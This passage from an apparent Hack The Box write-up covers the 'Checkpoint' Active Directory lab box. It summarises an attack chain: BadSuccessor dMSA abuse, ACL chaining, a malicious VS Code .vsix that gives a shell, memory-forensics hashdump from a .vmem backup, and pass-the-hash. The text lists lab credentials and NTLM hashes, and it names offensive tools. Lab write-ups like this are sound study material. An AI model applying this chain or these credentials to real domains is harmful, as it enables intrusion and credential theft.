$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'$u.Properties['msDS-SupportedEncryptionTypes'].Clear()$u.SetInfo()BadSuccessor-related changes:
checkpoint-mark$checkpoint-svc$mark.davies’smsDS-Superseded...svc_deploy’smsDS-Superseded...
DevDrop.
- The
.vsixplaced on the share - callback beacon
- Temporary files
Profile.
- Tools placed under
ryan.brooksandsvc_deploy PowerView.ps1PowerUp.ps1winPEASx64.exe
Credentials and Artifacts
Section titled “Credentials and Artifacts”Initial credentials.
alex.turner : Checkpoint2024!Hashes obtained through BadSuccessor.
mark.davies NTLM:0b28e49d9deb96f99d74578e214faec2
svc_deploy NTLM:e16081eb077aca74bdbf8af12af43ac9Hash obtained from VM memory.
WIN-0DG6SJAEUTA\Administrator NTLM:f29e9c014295b9b32139b09a2790be3bThis hash could be reused for CHECKPOINT\Administrator.
CHECKPOINT\Administrator : f29e9c014295b9b32139b09a2790be3bFlags.
user.txt: C:\Users\ryan.brooks\Desktop\user.txtroot.txt: C:\Users\max.palmer\Desktop\root.txtRequired Knowledge
Section titled “Required Knowledge”This was not a box solved solely by a typical shortest BloodHound path. It required the following skills.
- Basic AD enumeration: users, groups, ACLs, memberships, and shares
- Handling Kerberos clock skew
- Distinguishing LDAP signing issues from unreliable LDAPS
- Understanding BadSuccessor and dMSA
- Reading differences in SMB share permissions
- Code execution through a VS Code
.vsix - Investigating Windows profiles and application data
- Handling VMware backups and
.vmem - Windows memory forensics with Volatility
- NTLM hash reuse and pass-the-hash
The knowledge needed for this box is summarized below.
AD enumeration
Section titled “AD enumeration”Basic LDAP enumeration of users, groups, descriptions, and memberOf was important. svc_deploy’s membership in Remote Management Users and BackupAccess was visible early.
Kerberos troubleshooting
Section titled “Kerberos troubleshooting”Clock skew broke Kerberos, causing BloodHound to fall back to NTLM LDAP. LDAP signing then pushed it toward LDAPS, where the connection failed. I had to distinguish each step. Synchronizing time to make Kerberos work was the right response, rather than repairing LDAPS.
BadSuccessor / dMSA
Section titled “BadSuccessor / dMSA”The required chain involved permission to create msDS-DelegatedManagedServiceAccount, the msDS-SupersededManagedAccountLink and msDS-SupersededServiceAccountState attributes, and badS4U2self. Even when a tool’s automatic workflow failed midway, checking LDAP for created objects and attributes and then continuing manually mattered.
ACL chaining
Section titled “ACL chaining”alex.turner’s dMSA creation right alone could not obtain svc_deploy. It worked only when combined with ryan.brooks -> GenericWrite -> svc_deploy. Even if BloodHound did not show a direct path, the rights needed to be considered separately.
Share-based exploitation
Section titled “Share-based exploitation”Reading the description of DevDrop and forming a hypothesis about executing a .vsix was the key to the user flag. The difference between SMB READ and READ,WRITE permissions also mattered.
Memory forensics
Section titled “Memory forensics”The name memory forensics under VMBackups, the .vmem file, and Volatility’s windows.hashdump were the keys to root. Even though vmem held memory from another VM rather than the DC, I needed to consider hash reuse.
Pass-the-hash and hash reuse
Section titled “Pass-the-hash and hash reuse”Once I had the local Administrator hash, I needed to try it for the target domain’s Administrator. Hash reuse was a strong point to check.
Final Thought
Section titled “Final Thought”Checkpoint tested the ability to choose the next place to investigate based on visible evidence, rather than following a simple AD shortest path.
The first phase was AD.
- Examine LDAP and SMB carefully with the initial credentials.
- Identify clock skew as the reason BloodHound failed.
- Combine BadSuccessor with ACL rights.
The middle phase was the application and shares.
- Infer VS Code extension execution from the
DevDropdescription. - Create a
.vsixand obtain a shell asryan.brooks. - Check profiles and the VS Code database, but move on if they yield nothing.
The final phase was forensics.
- The real value of
svc_deploywas access toVMBackups, not WinRM. - Prefer
.vmemover the 10 GB VMDK. - Run Volatility hashdump.
- Test whether the local hash was reused in the domain.
The final step looked somewhat forceful for a Medium box, but each stage had clues. BackupAccess, memory forensics, max.palmer’s Domain Admins membership, and the reused Administrator hash seemed weak individually, but together formed a natural path.
The main lessons were:
- Continue manual LDAP enumeration even when BloodHound fails.
- A tool error does not always mean complete failure. Check whether the AD object was created.
- Read share names and descriptions.
- Keep investigating profiles and backups through the end.
- When you obtain a hash, test for reuse even if it came from a local account.

